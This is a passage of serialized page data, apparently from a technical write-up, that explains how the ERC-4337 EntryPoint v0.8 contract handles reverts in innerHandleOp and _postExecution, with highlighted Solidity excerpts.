",{"type":19,"tag":168,"props":102570,"children":102571},{"style":192},[102572],{"type":24,"value":1452},{"type":19,"tag":168,"props":102574,"children":102575},{"style":212},[102576],{"type":24,"value":471},{"type":19,"tag":168,"props":102578,"children":102579},{"style":192},[102580],{"type":24,"value":57831},{"type":19,"tag":168,"props":102582,"children":102583},{"style":212},[102584],{"type":24,"value":557},{"type":19,"tag":168,"props":102586,"children":102587},{"class":170,"line":1182},[102588,102593,102597,102602,102606,102610],{"type":19,"tag":168,"props":102589,"children":102590},{"style":212},[102591],{"type":24,"value":102592}," collected ",{"type":19,"tag":168,"props":102594,"children":102595},{"style":399},[102596],{"type":24,"value":19062},{"type":19,"tag":168,"props":102598,"children":102599},{"style":175},[102600],{"type":24,"value":102601}," mload",{"type":19,"tag":168,"props":102603,"children":102604},{"style":212},[102605],{"type":24,"value":500},{"type":19,"tag":168,"props":102607,"children":102608},{"style":192},[102609],{"type":24,"value":1452},{"type":19,"tag":168,"props":102611,"children":102612},{"style":212},[102613],{"type":24,"value":557},{"type":19,"tag":168,"props":102615,"children":102616},{"class":170,"line":1212},[102617],{"type":19,"tag":168,"props":102618,"children":102619},{"style":212},[102620],{"type":24,"value":56369},{"type":19,"tag":168,"props":102622,"children":102623},{"class":170,"line":1220},[102624,102629],{"type":19,"tag":168,"props":102625,"children":102626},{"style":175},[102627],{"type":24,"value":102628}," _restoreFreePtr",{"type":19,"tag":168,"props":102630,"children":102631},{"style":212},[102632],{"type":24,"value":102633},"(saveFreePtr);\n",{"type":19,"tag":168,"props":102635,"children":102636},{"class":170,"line":1252},[102637],{"type":19,"tag":168,"props":102638,"children":102639},{"style":212},[102640],{"type":24,"value":752},{"type":19,"tag":168,"props":102642,"children":102643},{"class":170,"line":1260},[102644,102648,102652,102656],{"type":19,"tag":168,"props":102645,"children":102646},{"style":419},[102647],{"type":24,"value":672},{"type":19,"tag":168,"props":102649,"children":102650},{"style":212},[102651],{"type":24,"value":461},{"type":19,"tag":168,"props":102653,"children":102654},{"style":399},[102655],{"type":24,"value":18076},{"type":19,"tag":168,"props":102657,"children":102658},{"style":212},[102659],{"type":24,"value":102660},"success) {\n",{"type":19,"tag":168,"props":102662,"children":102663},{"class":170,"line":1320},[102664],{"type":19,"tag":168,"props":102665,"children":102666},{"style":212},[102667],{"type":24,"value":102288},{"type":19,"tag":168,"props":102669,"children":102670},{"class":170,"line":6486},[102671,102675,102680,102684],{"type":19,"tag":168,"props":102672,"children":102673},{"style":419},[102674],{"type":24,"value":56285},{"type":19,"tag":168,"props":102676,"children":102677},{"style":212},[102678],{"type":24,"value":102679}," (innerRevertCode ",{"type":19,"tag":168,"props":102681,"children":102682},{"style":399},[102683],{"type":24,"value":6013},{"type":19,"tag":168,"props":102685,"children":102686},{"style":212},[102687],{"type":24,"value":102688}," INNER_OUT_OF_GAS) {\n",{"type":19,"tag":168,"props":102690,"children":102691},{"class":170,"line":6504},[102692],{"type":19,"tag":168,"props":102693,"children":102694},{"style":373},[102695],{"type":24,"value":102696}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":19,"tag":168,"props":102698,"children":102699},{"class":170,"line":6549},[102700],{"type":19,"tag":168,"props":102701,"children":102702},{"style":373},[102703],{"type":24,"value":102704}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":19,"tag":168,"props":102706,"children":102707},{"class":170,"line":6655},[102708,102713,102718,102723,102728],{"type":19,"tag":168,"props":102709,"children":102710},{"style":419},[102711],{"type":24,"value":102712}," revert",{"type":19,"tag":168,"props":102714,"children":102715},{"style":175},[102716],{"type":24,"value":102717}," FailedOp",{"type":19,"tag":168,"props":102719,"children":102720},{"style":212},[102721],{"type":24,"value":102722},"(opIndex, ",{"type":19,"tag":168,"props":102724,"children":102725},{"style":181},[102726],{"type":24,"value":102727},"\"AA95 out of gas\"",{"type":19,"tag":168,"props":102729,"children":102730},{"style":212},[102731],{"type":24,"value":1249},{"type":19,"tag":168,"props":102733,"children":102734},{"class":170,"line":20965},[102735,102739,102743,102747,102751,102755],{"type":19,"tag":168,"props":102736,"children":102737},{"style":212},[102738],{"type":24,"value":68081},{"type":19,"tag":168,"props":102740,"children":102741},{"style":419},[102742],{"type":24,"value":718},{"type":19,"tag":168,"props":102744,"children":102745},{"style":419},[102746],{"type":24,"value":13236},{"type":19,"tag":168,"props":102748,"children":102749},{"style":212},[102750],{"type":24,"value":102679},{"type":19,"tag":168,"props":102752,"children":102753},{"style":399},[102754],{"type":24,"value":6013},{"type":19,"tag":168,"props":102756,"children":102757},{"style":212},[102758],{"type":24,"value":102759}," INNER_REVERT_LOW_PREFUND) {\n",{"type":19,"tag":168,"props":102761,"children":102762},{"class":170,"line":21000},[102763],{"type":19,"tag":168,"props":102764,"children":102765},{"style":373},[102766],{"type":24,"value":102767}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":19,"tag":168,"props":102769,"children":102770},{"class":170,"line":21008},[102771,102775,102780,102784,102789,102793,102798,102802,102806],{"type":19,"tag":168,"props":102772,"children":102773},{"style":825},[102774],{"type":24,"value":100947},{"type":19,"tag":168,"props":102776,"children":102777},{"style":212},[102778],{"type":24,"value":102779}," actualGas ",{"type":19,"tag":168,"props":102781,"children":102782},{"style":399},[102783],{"type":24,"value":486},{"type":19,"tag":168,"props":102785,"children":102786},{"style":212},[102787],{"type":24,"value":102788}," preGas ",{"type":19,"tag":168,"props":102790,"children":102791},{"style":399},[102792],{"type":24,"value":1757},{"type":19,"tag":168,"props":102794,"children":102795},{"style":382},[102796],{"type":24,"value":102797}," gasleft",{"type":19,"tag":168,"props":102799,"children":102800},{"style":212},[102801],{"type":24,"value":11489},{"type":19,"tag":168,"props":102803,"children":102804},{"style":399},[102805],{"type":24,"value":1811},{"type":19,"tag":168,"props":102807,"children":102808},{"style":212},[102809],{"type":24,"value":102810}," opInfo.preOpGas;\n",{"type":19,"tag":168,"props":102812,"children":102813},{"class":170,"line":21016},[102814,102818,102822,102826],{"type":19,"tag":168,"props":102815,"children":102816},{"style":825},[102817],{"type":24,"value":100947},{"type":19,"tag":168,"props":102819,"children":102820},{"style":212},[102821],{"type":24,"value":101594},{"type":19,"tag":168,"props":102823,"children":102824},{"style":399},[102825],{"type":24,"value":486},{"type":19,"tag":168,"props":102827,"children":102828},{"style":212},[102829],{"type":24,"value":102830}," opInfo.prefund;\n",{"type":19,"tag":168,"props":102832,"children":102833},{"class":170,"line":21025},[102834,102839],{"type":19,"tag":168,"props":102835,"children":102836},{"style":175},[102837],{"type":24,"value":102838}," _emitPrefundTooLow",{"type":19,"tag":168,"props":102840,"children":102841},{"style":212},[102842],{"type":24,"value":102843},"(opInfo);\n",{"type":19,"tag":168,"props":102845,"children":102846},{"class":170,"line":21067},[102847,102852,102857,102861],{"type":19,"tag":168,"props":102848,"children":102849},{"style":175},[102850],{"type":24,"value":102851}," _emitUserOperationEvent",{"type":19,"tag":168,"props":102853,"children":102854},{"style":212},[102855],{"type":24,"value":102856},"(opInfo, ",{"type":19,"tag":168,"props":102858,"children":102859},{"style":382},[102860],{"type":24,"value":5612},{"type":19,"tag":168,"props":102862,"children":102863},{"style":212},[102864],{"type":24,"value":102865},", actualGasCost, actualGas);\n",{"type":19,"tag":168,"props":102867,"children":102868},{"class":170,"line":21100},[102869,102873,102877],{"type":19,"tag":168,"props":102870,"children":102871},{"style":212},[102872],{"type":24,"value":102592},{"type":19,"tag":168,"props":102874,"children":102875},{"style":399},[102876],{"type":24,"value":486},{"type":19,"tag":168,"props":102878,"children":102879},{"style":212},[102880],{"type":24,"value":102881}," actualGasCost;\n",{"type":19,"tag":168,"props":102883,"children":102884},{"class":170,"line":21108},[102885,102889,102893],{"type":19,"tag":168,"props":102886,"children":102887},{"style":212},[102888],{"type":24,"value":68081},{"type":19,"tag":168,"props":102890,"children":102891},{"style":419},[102892],{"type":24,"value":718},{"type":19,"tag":168,"props":102894,"children":102895},{"style":212},[102896],{"type":24,"value":691},{"type":19,"tag":168,"props":102898,"children":102899},{"class":170,"line":21116},[102900],{"type":19,"tag":168,"props":102901,"children":102902},{"style":212},[102903],{"type":24,"value":102288},{"type":19,"tag":168,"props":102905,"children":102906},{"class":170,"line":21125},[102907,102911,102915,102920],{"type":19,"tag":168,"props":102908,"children":102909},{"style":212},[102910],{"type":24,"value":102592},{"type":19,"tag":168,"props":102912,"children":102913},{"style":399},[102914],{"type":24,"value":486},{"type":19,"tag":168,"props":102916,"children":102917},{"style":175},[102918],{"type":24,"value":102919}," _postExecution",{"type":19,"tag":168,"props":102921,"children":102922},{"style":212},[102923],{"type":24,"value":870},{"type":19,"tag":168,"props":102925,"children":102926},{"class":170,"line":21201},[102927],{"type":19,"tag":168,"props":102928,"children":102929},{"style":212},[102930],{"type":24,"value":102931}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":19,"tag":168,"props":102933,"children":102934},{"class":170,"line":21234},[102935],{"type":19,"tag":168,"props":102936,"children":102937},{"style":212},[102938],{"type":24,"value":102939}," opInfo,\n",{"type":19,"tag":168,"props":102941,"children":102942},{"class":170,"line":21242},[102943],{"type":19,"tag":168,"props":102944,"children":102945},{"style":212},[102946],{"type":24,"value":102947}," context,\n",{"type":19,"tag":168,"props":102949,"children":102950},{"class":170,"line":21250},[102951],{"type":19,"tag":168,"props":102952,"children":102953},{"style":212},[102954],{"type":24,"value":102955}," actualGas\n",{"type":19,"tag":168,"props":102957,"children":102958},{"class":170,"line":21287},[102959],{"type":19,"tag":168,"props":102960,"children":102961},{"style":212},[102962],{"type":24,"value":102963}," );\n",{"type":19,"tag":168,"props":102965,"children":102966},{"class":170,"line":21300},[102967],{"type":19,"tag":168,"props":102968,"children":102969},{"style":212},[102970],{"type":24,"value":56369},{"type":19,"tag":168,"props":102972,"children":102973},{"class":170,"line":21313},[102974],{"type":19,"tag":168,"props":102975,"children":102976},{"style":212},[102977],{"type":24,"value":752},{"type":19,"tag":168,"props":102979,"children":102980},{"class":170,"line":21326},[102981],{"type":19,"tag":168,"props":102982,"children":102983},{"style":212},[102984],{"type":24,"value":761},{"type":19,"tag":20,"props":102986,"children":102987},{},[102988,102990,102995,102997,103003,103005,103011,103013,103019],{"type":24,"value":102989},"During execution, the ",{"type":19,"tag":27,"props":102991,"children":102993},{"className":102992},[],[102994],{"type":24,"value":99750},{"type":24,"value":102996}," contract makes a ",{"type":19,"tag":269,"props":102998,"children":103001},{"href":102999,"rel":103000},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[273],[103002],{"type":24,"value":35771},{"type":24,"value":103004}," to its own ",{"type":19,"tag":27,"props":103006,"children":103008},{"className":103007},[],[103009],{"type":24,"value":103010},"innerHandleOp",{"type":24,"value":103012}," function through a low-level ",{"type":19,"tag":27,"props":103014,"children":103016},{"className":103015},[],[103017],{"type":24,"value":103018},"call()",{"type":24,"value":103020},". This is done to create a new call context for executing the user operation.",{"type":19,"tag":20,"props":103022,"children":103023},{},[103024,103026,103032,103033,103038,103040,103047,103049,103055],{"type":24,"value":103025},"If this call fails (when ",{"type":19,"tag":27,"props":103027,"children":103029},{"className":103028},[],[103030],{"type":24,"value":103031},"success",{"type":24,"value":2934},{"type":19,"tag":27,"props":103034,"children":103036},{"className":103035},[],[103037],{"type":24,"value":5612},{"type":24,"value":103039},"), the code enters an ",{"type":19,"tag":269,"props":103041,"children":103044},{"href":103042,"rel":103043},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[273],[103045],{"type":24,"value":103046},"error handling",{"type":24,"value":103048}," flow that checks the ",{"type":19,"tag":27,"props":103050,"children":103052},{"className":103051},[],[103053],{"type":24,"value":103054},"innerRevertCode",{"type":24,"value":103056},". There are three possible paths:",{"type":19,"tag":2869,"props":103058,"children":103059},{},[103060,103084,103102],{"type":19,"tag":47,"props":103061,"children":103062},{},[103063,103064,103069,103070,103076,103078,103083],{"type":24,"value":4916},{"type":19,"tag":27,"props":103065,"children":103067},{"className":103066},[],[103068],{"type":24,"value":103054},{"type":24,"value":2934},{"type":19,"tag":27,"props":103071,"children":103073},{"className":103072},[],[103074],{"type":24,"value":103075},"INNER_OUT_OF_GAS",{"type":24,"value":103077},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":19,"tag":27,"props":103079,"children":103081},{"className":103080},[],[103082],{"type":24,"value":102727},{"type":24,"value":948},{"type":19,"tag":47,"props":103085,"children":103086},{},[103087,103088,103093,103094,103100],{"type":24,"value":4916},{"type":19,"tag":27,"props":103089,"children":103091},{"className":103090},[],[103092],{"type":24,"value":103054},{"type":24,"value":2934},{"type":19,"tag":27,"props":103095,"children":103097},{"className":103096},[],[103098],{"type":24,"value":103099},"INNER_REVERT_LOW_PREFUND",{"type":24,"value":103101},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":19,"tag":47,"props":103103,"children":103104},{},[103105,103107,103113,103115,103121],{"type":24,"value":103106},"For any other revert reason, the code will still call ",{"type":19,"tag":27,"props":103108,"children":103110},{"className":103109},[],[103111],{"type":24,"value":103112},"_postExecution()",{"type":24,"value":103114}," but with ",{"type":19,"tag":27,"props":103116,"children":103118},{"className":103117},[],[103119],{"type":24,"value":103120},"PostOpMode.postOpReverted",{"type":24,"value":103122},". This ensures proper cleanup happens even on failure.",{"type":19,"tag":20,"props":103124,"children":103125},{},[103126,103128,103133,103135,103140,103142,103147,103149,103154],{"type":24,"value":103127},"We're particularly interested in the third error path, where ",{"type":19,"tag":27,"props":103129,"children":103131},{"className":103130},[],[103132],{"type":24,"value":103054},{"type":24,"value":103134}," is neither ",{"type":19,"tag":27,"props":103136,"children":103138},{"className":103137},[],[103139],{"type":24,"value":103075},{"type":24,"value":103141}," nor ",{"type":19,"tag":27,"props":103143,"children":103145},{"className":103144},[],[103146],{"type":24,"value":103099},{"type":24,"value":103148},". To understand this case better, let's examine how ",{"type":19,"tag":27,"props":103150,"children":103152},{"className":103151},[],[103153],{"type":24,"value":103010},{"type":24,"value":103155}," works.",{"type":19,"tag":158,"props":103157,"children":103159},{"className":1905,"code":103158,"language":1904,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[103160],{"type":19,"tag":27,"props":103161,"children":103162},{"__ignoreMap":7},[103163,103179,103200,103220,103236,103269,103276,103293,103317,103357,103376,103401,103435,103459,103476,103484,103492,103500,103508,103516,103523,103536,103553,103560,103567,103574,103585,103624,103640,103647],{"type":19,"tag":168,"props":103164,"children":103165},{"class":170,"line":171},[103166,103170,103175],{"type":19,"tag":168,"props":103167,"children":103168},{"style":382},[103169],{"type":24,"value":87320},{"type":19,"tag":168,"props":103171,"children":103172},{"style":175},[103173],{"type":24,"value":103174}," innerHandleOp",{"type":19,"tag":168,"props":103176,"children":103177},{"style":212},[103178],{"type":24,"value":870},{"type":19,"tag":168,"props":103180,"children":103181},{"class":170,"line":198},[103182,103187,103191,103196],{"type":19,"tag":168,"props":103183,"children":103184},{"style":825},[103185],{"type":24,"value":103186}," bytes",{"type":19,"tag":168,"props":103188,"children":103189},{"style":382},[103190],{"type":24,"value":100567},{"type":19,"tag":168,"props":103192,"children":103193},{"style":393},[103194],{"type":24,"value":103195}," callData",{"type":19,"tag":168,"props":103197,"children":103198},{"style":212},[103199],{"type":24,"value":915},{"type":19,"tag":168,"props":103201,"children":103202},{"class":170,"line":415},[103203,103207,103211,103216],{"type":19,"tag":168,"props":103204,"children":103205},{"style":382},[103206],{"type":24,"value":102227},{"type":19,"tag":168,"props":103208,"children":103209},{"style":382},[103210],{"type":24,"value":100567},{"type":19,"tag":168,"props":103212,"children":103213},{"style":393},[103214],{"type":24,"value":103215}," opInfo",{"type":19,"tag":168,"props":103217,"children":103218},{"style":212},[103219],{"type":24,"value":915},{"type":19,"tag":168,"props":103221,"children":103222},{"class":170,"line":450},[103223,103227,103231],{"type":19,"tag":168,"props":103224,"children":103225},{"style":825},[103226],{"type":24,"value":103186},{"type":19,"tag":168,"props":103228,"children":103229},{"style":382},[103230],{"type":24,"value":100499},{"type":19,"tag":168,"props":103232,"children":103233},{"style":393},[103234],{"type":24,"value":103235}," context\n",{"type":19,"tag":168,"props":103237,"children":103238},{"class":170,"line":560},[103239,103244,103249,103253,103257,103261,103265],{"type":19,"tag":168,"props":103240,"children":103241},{"style":212},[103242],{"type":24,"value":103243}," ) ",{"type":19,"tag":168,"props":103245,"children":103246},{"style":382},[103247],{"type":24,"value":103248},"external",{"type":19,"tag":168,"props":103250,"children":103251},{"style":419},[103252],{"type":24,"value":73482},{"type":19,"tag":168,"props":103254,"children":103255},{"style":212},[103256],{"type":24,"value":461},{"type":19,"tag":168,"props":103258,"children":103259},{"style":825},[103260],{"type":24,"value":43649},{"type":19,"tag":168,"props":103262,"children":103263},{"style":393},[103264],{"type":24,"value":101308},{"type":19,"tag":168,"props":103266,"children":103267},{"style":212},[103268],{"type":24,"value":12250},{"type":19,"tag":168,"props":103270,"children":103271},{"class":170,"line":666},[103272],{"type":19,"tag":168,"props":103273,"children":103274},{"style":212},[103275],{"type":24,"value":102288},{"type":19,"tag":168,"props":103277,"children":103278},{"class":170,"line":694},[103279,103284,103288],{"type":19,"tag":168,"props":103280,"children":103281},{"style":212},[103282],{"type":24,"value":103283}," IPaymaster.PostOpMode mode ",{"type":19,"tag":168,"props":103285,"children":103286},{"style":399},[103287],{"type":24,"value":486},{"type":19,"tag":168,"props":103289,"children":103290},{"style":212},[103291],{"type":24,"value":103292}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":19,"tag":168,"props":103294,"children":103295},{"class":170,"line":707},[103296,103300,103305,103309,103313],{"type":19,"tag":168,"props":103297,"children":103298},{"style":419},[103299],{"type":24,"value":672},{"type":19,"tag":168,"props":103301,"children":103302},{"style":212},[103303],{"type":24,"value":103304}," (callData.length ",{"type":19,"tag":168,"props":103306,"children":103307},{"style":399},[103308],{"type":24,"value":7905},{"type":19,"tag":168,"props":103310,"children":103311},{"style":192},[103312],{"type":24,"value":437},{"type":19,"tag":168,"props":103314,"children":103315},{"style":212},[103316],{"type":24,"value":12250},{"type":19,"tag":168,"props":103318,"children":103319},{"class":170,"line":725},[103320,103325,103330,103334,103339,103343,103348,103352],{"type":19,"tag":168,"props":103321,"children":103322},{"style":825},[103323],{"type":24,"value":103324}," bool",{"type":19,"tag":168,"props":103326,"children":103327},{"style":212},[103328],{"type":24,"value":103329}," success ",{"type":19,"tag":168,"props":103331,"children":103332},{"style":399},[103333],{"type":24,"value":486},{"type":19,"tag":168,"props":103335,"children":103336},{"style":212},[103337],{"type":24,"value":103338}," Exec.",{"type":19,"tag":168,"props":103340,"children":103341},{"style":175},[103342],{"type":24,"value":35771},{"type":19,"tag":168,"props":103344,"children":103345},{"style":212},[103346],{"type":24,"value":103347},"(mUserOp.sender, ",{"type":19,"tag":168,"props":103349,"children":103350},{"style":192},[103351],{"type":24,"value":1452},{"type":19,"tag":168,"props":103353,"children":103354},{"style":212},[103355],{"type":24,"value":103356},", callData, callGasLimit);\n",{"type":19,"tag":168,"props":103358,"children":103359},{"class":170,"line":746},[103360,103364,103368,103372],{"type":19,"tag":168,"props":103361,"children":103362},{"style":419},[103363],{"type":24,"value":56285},{"type":19,"tag":168,"props":103365,"children":103366},{"style":212},[103367],{"type":24,"value":461},{"type":19,"tag":168,"props":103369,"children":103370},{"style":399},[103371],{"type":24,"value":18076},{"type":19,"tag":168,"props":103373,"children":103374},{"style":212},[103375],{"type":24,"value":102660},{"type":19,"tag":168,"props":103377,"children":103378},{"class":170,"line":755},[103379,103383,103388,103392,103397],{"type":19,"tag":168,"props":103380,"children":103381},{"style":825},[103382],{"type":24,"value":100947},{"type":19,"tag":168,"props":103384,"children":103385},{"style":212},[103386],{"type":24,"value":103387}," freePtr ",{"type":19,"tag":168,"props":103389,"children":103390},{"style":399},[103391],{"type":24,"value":486},{"type":19,"tag":168,"props":103393,"children":103394},{"style":175},[103395],{"type":24,"value":103396}," _getFreePtr",{"type":19,"tag":168,"props":103398,"children":103399},{"style":212},[103400],{"type":24,"value":1084},{"type":19,"tag":168,"props":103402,"children":103403},{"class":170,"line":1008},[103404,103408,103412,103417,103421,103425,103430],{"type":19,"tag":168,"props":103405,"children":103406},{"style":825},[103407],{"type":24,"value":102344},{"type":19,"tag":168,"props":103409,"children":103410},{"style":382},[103411],{"type":24,"value":100567},{"type":19,"tag":168,"props":103413,"children":103414},{"style":212},[103415],{"type":24,"value":103416}," result ",{"type":19,"tag":168,"props":103418,"children":103419},{"style":399},[103420],{"type":24,"value":486},{"type":19,"tag":168,"props":103422,"children":103423},{"style":212},[103424],{"type":24,"value":103338},{"type":19,"tag":168,"props":103426,"children":103427},{"style":175},[103428],{"type":24,"value":103429},"getReturnData",{"type":19,"tag":168,"props":103431,"children":103432},{"style":212},[103433],{"type":24,"value":103434},"(REVERT_REASON_MAX_LEN);\n",{"type":19,"tag":168,"props":103436,"children":103437},{"class":170,"line":1025},[103438,103442,103447,103451,103455],{"type":19,"tag":168,"props":103439,"children":103440},{"style":419},[103441],{"type":24,"value":101007},{"type":19,"tag":168,"props":103443,"children":103444},{"style":212},[103445],{"type":24,"value":103446}," (result.length ",{"type":19,"tag":168,"props":103448,"children":103449},{"style":399},[103450],{"type":24,"value":7905},{"type":19,"tag":168,"props":103452,"children":103453},{"style":192},[103454],{"type":24,"value":437},{"type":19,"tag":168,"props":103456,"children":103457},{"style":212},[103458],{"type":24,"value":12250},{"type":19,"tag":168,"props":103460,"children":103461},{"class":170,"line":1042},[103462,103467,103472],{"type":19,"tag":168,"props":103463,"children":103464},{"style":419},[103465],{"type":24,"value":103466}," emit",{"type":19,"tag":168,"props":103468,"children":103469},{"style":175},[103470],{"type":24,"value":103471}," UserOperationRevertReason",{"type":19,"tag":168,"props":103473,"children":103474},{"style":212},[103475],{"type":24,"value":870},{"type":19,"tag":168,"props":103477,"children":103478},{"class":170,"line":1055},[103479],{"type":19,"tag":168,"props":103480,"children":103481},{"style":212},[103482],{"type":24,"value":103483}," opInfo.userOpHash,\n",{"type":19,"tag":168,"props":103485,"children":103486},{"class":170,"line":1064},[103487],{"type":19,"tag":168,"props":103488,"children":103489},{"style":212},[103490],{"type":24,"value":103491}," mUserOp.sender,\n",{"type":19,"tag":168,"props":103493,"children":103494},{"class":170,"line":1087},[103495],{"type":19,"tag":168,"props":103496,"children":103497},{"style":212},[103498],{"type":24,"value":103499}," mUserOp.nonce,\n",{"type":19,"tag":168,"props":103501,"children":103502},{"class":170,"line":1096},[103503],{"type":19,"tag":168,"props":103504,"children":103505},{"style":212},[103506],{"type":24,"value":103507}," result\n",{"type":19,"tag":168,"props":103509,"children":103510},{"class":170,"line":1105},[103511],{"type":19,"tag":168,"props":103512,"children":103513},{"style":212},[103514],{"type":24,"value":103515}," );\n",{"type":19,"tag":168,"props":103517,"children":103518},{"class":170,"line":1174},[103519],{"type":19,"tag":168,"props":103520,"children":103521},{"style":212},[103522],{"type":24,"value":68558},{"type":19,"tag":168,"props":103524,"children":103525},{"class":170,"line":1182},[103526,103531],{"type":19,"tag":168,"props":103527,"children":103528},{"style":175},[103529],{"type":24,"value":103530}," _restoreFreePtr",{"type":19,"tag":168,"props":103532,"children":103533},{"style":212},[103534],{"type":24,"value":103535},"(freePtr);\n",{"type":19,"tag":168,"props":103537,"children":103538},{"class":170,"line":1212},[103539,103544,103548],{"type":19,"tag":168,"props":103540,"children":103541},{"style":212},[103542],{"type":24,"value":103543}," mode ",{"type":19,"tag":168,"props":103545,"children":103546},{"style":399},[103547],{"type":24,"value":486},{"type":19,"tag":168,"props":103549,"children":103550},{"style":212},[103551],{"type":24,"value":103552}," IPaymaster.PostOpMode.opReverted;\n",{"type":19,"tag":168,"props":103554,"children":103555},{"class":170,"line":1220},[103556],{"type":19,"tag":168,"props":103557,"children":103558},{"style":212},[103559],{"type":24,"value":56369},{"type":19,"tag":168,"props":103561,"children":103562},{"class":170,"line":1252},[103563],{"type":19,"tag":168,"props":103564,"children":103565},{"style":212},[103566],{"type":24,"value":752},{"type":19,"tag":168,"props":103568,"children":103569},{"class":170,"line":1260},[103570],{"type":19,"tag":168,"props":103571,"children":103572},{"emptyLinePlaceholder":14},[103573],{"type":24,"value":1093},{"type":19,"tag":168,"props":103575,"children":103576},{"class":170,"line":1320},[103577,103581],{"type":19,"tag":168,"props":103578,"children":103579},{"style":419},[103580],{"type":24,"value":100603},{"type":19,"tag":168,"props":103582,"children":103583},{"style":212},[103584],{"type":24,"value":691},{"type":19,"tag":168,"props":103586,"children":103587},{"class":170,"line":6486},[103588,103592,103596,103600,103604,103608,103612,103616,103620],{"type":19,"tag":168,"props":103589,"children":103590},{"style":825},[103591],{"type":24,"value":100615},{"type":19,"tag":168,"props":103593,"children":103594},{"style":212},[103595],{"type":24,"value":102779},{"type":19,"tag":168,"props":103597,"children":103598},{"style":399},[103599],{"type":24,"value":486},{"type":19,"tag":168,"props":103601,"children":103602},{"style":212},[103603],{"type":24,"value":102788},{"type":19,"tag":168,"props":103605,"children":103606},{"style":399},[103607],{"type":24,"value":1757},{"type":19,"tag":168,"props":103609,"children":103610},{"style":382},[103611],{"type":24,"value":102797},{"type":19,"tag":168,"props":103613,"children":103614},{"style":212},[103615],{"type":24,"value":11489},{"type":19,"tag":168,"props":103617,"children":103618},{"style":399},[103619],{"type":24,"value":1811},{"type":19,"tag":168,"props":103621,"children":103622},{"style":212},[103623],{"type":24,"value":102810},{"type":19,"tag":168,"props":103625,"children":103626},{"class":170,"line":6504},[103627,103631,103635],{"type":19,"tag":168,"props":103628,"children":103629},{"style":419},[103630],{"type":24,"value":76565},{"type":19,"tag":168,"props":103632,"children":103633},{"style":175},[103634],{"type":24,"value":102919},{"type":19,"tag":168,"props":103636,"children":103637},{"style":212},[103638],{"type":24,"value":103639},"(mode, opInfo, context, actualGas);\n",{"type":19,"tag":168,"props":103641,"children":103642},{"class":170,"line":6549},[103643],{"type":19,"tag":168,"props":103644,"children":103645},{"style":212},[103646],{"type":24,"value":752},{"type":19,"tag":168,"props":103648,"children":103649},{"class":170,"line":6655},[103650],{"type":19,"tag":168,"props":103651,"children":103652},{"style":212},[103653],{"type":24,"value":761},{"type":19,"tag":20,"props":103655,"children":103656},{},[103657,103659,103664,103666,103671,103673,103679,103681,103687,103689,103694,103696,103706],{"type":24,"value":103658},"We observe that, in the happy path, ",{"type":19,"tag":27,"props":103660,"children":103662},{"className":103661},[],[103663],{"type":24,"value":103010},{"type":24,"value":103665}," is expected to not only execute the actual ",{"type":19,"tag":27,"props":103667,"children":103669},{"className":103668},[],[103670],{"type":24,"value":99669},{"type":24,"value":103672}," call, but also call ",{"type":19,"tag":27,"props":103674,"children":103676},{"className":103675},[],[103677],{"type":24,"value":103678},"_postExecution",{"type":24,"value":103680},". This means that the third failure handling path, which passes ",{"type":19,"tag":27,"props":103682,"children":103684},{"className":103683},[],[103685],{"type":24,"value":103686},"postOpReverted",{"type":24,"value":103688}," as its mode, happens when something goes wrong with the ",{"type":19,"tag":27,"props":103690,"children":103692},{"className":103691},[],[103693],{"type":24,"value":103678},{"type":24,"value":103695}," call ",{"type":19,"tag":51,"props":103697,"children":103698},{},[103699,103701],{"type":24,"value":103700},"inside ",{"type":19,"tag":27,"props":103702,"children":103704},{"className":103703},[],[103705],{"type":24,"value":103010},{"type":24,"value":948},{"type":19,"tag":20,"props":103708,"children":103709},{},[103710,103712,103717],{"type":24,"value":103711},"Let's examine the ",{"type":19,"tag":27,"props":103713,"children":103715},{"className":103714},[],[103716],{"type":24,"value":103678},{"type":24,"value":103718}," code to understand where the revert might occur.",{"type":19,"tag":158,"props":103720,"children":103722},{"className":1905,"code":103721,"language":1904,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n 